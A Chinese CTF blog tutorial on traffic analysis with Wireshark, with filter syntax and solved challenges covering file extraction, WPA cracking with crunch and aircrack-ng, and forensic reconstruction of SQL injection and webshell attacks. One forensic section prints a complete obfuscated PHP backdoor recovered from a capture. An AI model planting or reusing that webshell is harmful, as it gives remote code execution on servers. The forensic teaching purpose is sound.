流量分析入门

发布时间 2023-03-27 11:28:19作者: SuperWinner

流量分析

流量分析是CTF里面的常见题目,通常会给我们一堆数据包,然后让我们用Wireshark分析流量包里面的内容排除无关信息然后获取隐藏的flag

Wireshark使用

数据包筛选

ip的筛选

筛选源ip

  • 方法一
ip.src == 源ip地址

image-20230304103458937

  • 方法二

image-20230304103856392

右击Source Address字段,再选择作为过滤器应用 –-> 最后点击选中,就可筛选出该源IP的所有包了

image-20230304104222447

目的ip筛选

ip.dst==目的ip地址
  • 方法一

image-20230304104613522

  • 方法二

右击Destination Address字段,再选择作为过滤器应用 –-> 最后点击选中`,就可筛选出该源IP的所有包了

image-20230304104810801

筛选符合要求的ip,可以是源地址或目标地址。

ip.addr==<ip>

image-20230307104925464

Wireshark 同时支持逻辑运算符和位运算符可以更加方便的筛选我们想用的数据包

image-20230307105440084

这里筛选

MAC地址赛选

eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址

eth.addr==A0:00:00:04:C5:84 筛选MAC地址

image-20230304105241973

image-20230304105413217

端口筛选

tcp.dstport == 80  筛选tcp协议的目标端口为80的流量包

tcp.srcport == 80  筛选tcp协议的源端口为80的流量包

udp.dstport == 80  筛选udp协议的目标端口为80的流量包

image-20230305141442071

image-20230305141559530

image-20230305141825898

协议筛选

tcp  筛选协议为tcp的流量包

udp 筛选协议为udp的流量包

arp/icmp/http/ftp/dns/ip  筛选协议为arp/icmp/http/ftp/dns/ip的流量包

image-20230305141914550

image-20230305141924968

包长度筛选

udp.length ==20   筛选长度为20的udp流量包

tcp.len >=20  筛选长度大于20的tcp流量包

ip.len ==20  筛选长度为20的IP流量包

frame.len ==20 筛选长度为20的整个流量包

image-20230305143146829

其他同理

http请求筛选

请求方法为GET:http.request.method==“GET”        筛选HTTP请求方法为GET的 流量包

请求方法为POST:http.request.method==“POST”      筛选HTTP请求方法为POST的流量包

指定URI:http.request.uri==“/img/logo-edu.gif”  筛选HTTP请求的URL为/img/logo-edu.gif的流量包

请求或相应中包含特定内容:http.request.uri contains "/FLAG"    筛选HTTP内容为/FLAG的流量包

image-20230305143346943

image-20230305143641687

数据包搜索

WireShark 界面按CTRL+F 可以进行关键字搜索,搜索功能支持多种

image-20230305144222383

image-20230305144555764

数据包还原

选择数据包-->右击-->最追踪流-->选择类型

image-20230305144725408

image-20230305144810838

数据包提取

  • 自动提取

文件-->导出对象-->HTTP

image-20230305151211202

选择你需要的数据包然后点Save 保存 或者 Sava All 保存所有的对象然后放入文件夹进行分析

image-20230305151618386

image-20230305151719723

题型分析

入门题

Cephalopod(图片提取)

攻防世界Cephalopod

下载

image-20230305155221973

下载文件然后打开Wireshark

搜索flag然后找到长度比较大的流量包追踪流

image-20230305171905505

image-20230305165110685

image-20230305165232884

image-20230305165553929

之后保存原始数据导出

image-20230305165650385

然后删除多余部分保留PNG

image-20230305171010983

image-20230305171020512

HITB{95700d8aefdc1648b90a92f3a8460a2c}

题目:特殊后门(icmp协议信息传输)

题目来源:第七届山东省大学生网络安全技能大赛
考点:字符串搜索,icmp协议信息传输
题目信息:(backdoor++.pcapng)

image-20230305171747658

选出ICMP 包之后跟着找每一个包里面有一个flag的字符

image-20230305172400171

flag{Icmp_backdoor_can_transfer-some_infomation}

题目:手机热点(蓝牙传输协议obex,数据提取)

题目来源:第七季极客大挑战
考点:蓝牙传输协议obex,数据提取
题目信息:(Blatand_1.pcapng)

搜索发现有一个rar压缩包

image-20230305172553986

导出

image-20230305173031735

image-20230305231421040

题目:想蹭网先解开密码(无线密码破解)

题目来源:bugku
考点:无线密码破解
题目信息:(wifi.cap)

image-20230306091819543

WIFI认证存在四次握手包eapol协议的数据包

image-20230306092702626

使用kali的Crunch生成字典

  • 语法
crunch <min> <max> [options]
  • 参数
     min    设定最小字符串长度(必选)
     max    设定最大字符串长度(必选)

     oprions
     -b     指定文件输出的大小,避免字典文件过大  
     -c     指定文件输出的行数,即包含密码的个数
     -d     限制相同元素出现的次数
     -e     定义停止字符,即到该字符串就停止生成
     -f     调用库文件(/etc/share/crunch/charset.lst)
     -i     改变输出格式,即aaa,aab -> aaa,baa
     -I     通常与-t联合使用,表明该字符为实义字符
     -m     通常与-p搭配
     -o     将密码保存到指定文件
     -p     指定元素以组合的方式进行
     -q     读取密码文件,即读取pass.txt
     -r     定义重某一字符串重新开始
     -s     指定一个开始的字符,即从自己定义的密码xxxx开始
     -t     指定密码输出的格式
     -u     禁止打印百分比(必须为最后一个选项)
     -z     压缩生成的字典文件,支持gzip,bzip2,lzma,7z  

  • 特殊字符
     %      代表数字
     ^      代表特殊符号
     @      代表小写字母
     ,      代表大写字符    

image-20230306103729097

image-20230306102759222

使用aircrack-ng 对数据包进行密码爆破

使用教程: https://www.jianshu.com/p/fd16236057df

image-20230306103806966

进阶题

题目:抓到一只苍蝇(数据包筛选,数据提取)

题目来源:bugku
考点:数据包筛选,数据提取
题目信息:(misc_fly.pcapng)

  • 先搜索flag

发现一个flag.txt文件

image-20230306105111590

image-20230306105516076

该数据包是通过qq邮箱传的一些文件

然后搜索关键字

image-20230306105755085

image-20230306110525114

通过POST传入了一个rar文件

筛选POST 协议

image-20230306123359865 这里调用了2个函数,中间应该是传输的过程发送的数据包

CreateFile

image-20230306124743835

CheckFile

image-20230306124841128

两个文件的md5值一样然后从中间的数据包大小可以看出来

image-20230306125406602 几个数据包加起来

131436*4+1777=527,521减去压缩包的大小为1820 这1820 是5个数据包头的大小364

使用Linux可以把五个数据包包头去掉然后合成一个rar文件

具体命令dd:

dd if=1 bs=1 skip=364 of=1.1

dd命令语法:
if 输入文件名
bs 设置每次读写块的大小为1字节 
skip 指定从输入文件开头跳过多少个块后再开始复制
of 输出文件名

然后导出对应的文件(看分组序号) 然后倒入kali

image-20230306131939945

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=1 bs=1 skip=364 of=11
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.06969 s, 63.3 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=2 bs=1 skip=364 of=22
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.03437 s, 64.4 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=3 bs=1 skip=364 of=33
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.08859 s, 62.8 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=4 bs=1 skip=364 of=44
131072+0 records in
131072+0 records out
131072 bytes (131 kB, 128 KiB) copied, 2.04758 s, 64.0 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# dd if=5 bs=1 skip=364 of=55
1413+0 records in
1413+0 records out
1413 bytes (1.4 kB, 1.4 KiB) copied, 0.0234734 s, 60.2 kB/s

┌──(root㉿kali)-[/home/kali/test]
└─# ls
1  11  2  22  3  33  4  44  5  55
┌──(root㉿kali)-[/home/kali/test]
└─# cat 11 22 33 44 55 > flag.rar

┌──(root㉿kali)-[/home/kali/test]
└─# ls
1  11  2  22  3  33  4  44  5  55  flag.rar

image-20230306132650288

然后打开压缩包发现文件头损坏

image-20230306201721971

image-20230306204148372

84改为80

image-20230306205126914

这是个exe可执行文件

image-20230306205241184

... 脏东西

binwalk 提取下

image-20230306205756995 一堆png文件

然后用formost 提取出来

image-20230306205951534

image-20230306210147762

扫描二维码获取flag

https://online-barcode-reader.inliteresearch.com

flag{m1Sc_oxO2_Fly}

数据分析题

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
4.第一个受害主机网站数据库的名字

打开了流量包然后筛选HTTP协议

image-20230307103240963

可以看出攻击者的ip地址是202.1.12 受害者的ip为192.168.1.8 然后注入的参数为list[select]

image-20230307104354495

数据库前缀ajtuc_

(ip.addr==202.1.1.2 or ip.addr==192.168.1.8) and http

image-20230307125428911

image-20230307130004725

找到最后一次注入的记录进行url解码

image-20230307130143365

数据库名:joomla

题目二(2.pcap)

题目要求:
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http
  • php木马密码

image-20230307130946194 通过之前的过滤找到一个可以的POST 注入的数据包

image-20230307131906766

数据包里面的POST 可以看出这个是中国菜刀的一个流量特征 然后这里的木马密码就为zzz

Hvv常见webshell流量特征及检测思路

  • 第二次上传木马的时间

    通过过滤获得数据包因为第一次是通过POST传上去的马然后就可以直接锁定协议

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http.request.method=="POST"

image-20230307134703654

可疑数据包

image-20230307135109669

image-20230307135024028

就只有一个item值为z2的数据包应该可以判断是这个数据包了然后通过十六进制提取出来导入HXD就可以还原代码

image-20230307135258839

image-20230307135500022

代码很乱是被混淆过后的代码

<?php
$p = 'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d = ']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W = '),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e = ']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E = '>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t = '($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M = ']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P = ']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j = str_replace('fr', '', 'cfrrfreatfrfre_funcfrtfrion');
$k = '];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g = '"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R = '$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q = ']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v = ']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x = str_replace('>]', '', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);
$N = $j('', $x);
$N();
?>

应该就是第二次上传的木马了

image-20230307154357823

时间17:20:44.248365

image-20230307155231623

这里有一个http有关的参数

image-20230307155511695

然后通过过滤发现kkkaaa.php 后面的数据包全是footer.php

通过追踪流发现

image-20230307160636183

Referer 指向的是攻击者的8080端口所以 是通过Referer 头传递的数据

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址

打开数据包根据题目要求是要找到mysql的用户名和密码然后就可以直接关键字搜索

tcp contains "mysql" and mysql

image-20230307161353991 找到最后一次的登录数据

md5值为Password: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

php代理访问是通过http协议可以通过之前找到的两个ip地址过滤出http协议然后发现后续的通信使用的是一个名字为tunnel.php 的一个文件

image-20230307161750170

这里该文件是通过post传参然后过滤POST参数

image-20230307162025913

可以获得第一次连接的ip为4.2.2.2

image-20230307162246613

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名

  • 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

根据题目要求获取当前目录的文件列表的漏洞利用请求是什么时候可以搜索关键字dir 或者ls 来查找数据包

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and (http contains "dir" or http contains "ls")

image-20230307162739721

然后发现lsdir 然后追踪流发现 ls里面没有数据则这台主机是Windows 的主机

image-20230307162919043

追踪dir 的http流

image-20230307163113846

命令执行成功然后返回了路径所以

第一次获取到当前目录下的文件列表的漏洞利用请求发生在:2018 18:36:59.770782

image-20230307163334278

  • 黑客在内网主机中添加的用户名和密码是多少

在主机添加用户的话就可以直接锁定ip主机了,这里是通过远程命令执行也可以直接选定协议为http可以过滤出更精准的数据包

ip.addr==192.168.2.20 and http

image-20230307164832366

这里可以查到一个类似于一句话木马的语句,然后后面都是以该文件来执行的,说明现在又写入了一个后门文件名为sh.php 的后门文件

然后过滤

ip.src==192.168.2.20 and http 

后面根据时间线来逐个查找数据包

image-20230307170319233

然后找到一个net user 的数据包

然后通过时间线逐步往下看

image-20230307170540829

发现了其他的用户名字为kaka

时间为:18:50:45.908737

后面通过时间线找到密码

image-20230307170852656 因为在后面成功添加用户查找密码可以直接往上面的数据包进行查找,也就是18:50:45.908737 之前

image-20230307174344696

image-20230307174737527

然后进行解码所以密码为kaka

  • 黑客从内网服务器中下载下来的文件名

从最开始的流量特征来看是通过菜刀来连接webshell的然后我们可以直接通过ip加请求方式过滤出一部分数据包在这些数据包里面挑选

ip.dst == 192.168.2.20 and http.request.method==POST

下载文件的话,是在提权之后才可以下载的也就应该是增加了用户之后来下载的可以直接按时间线过滤一部分数据包

image-20230307175400450 在这一堆数据包里面找

image-20230307175518006 对这些数据包进行逐个解码发现下载的文件为procdump.exe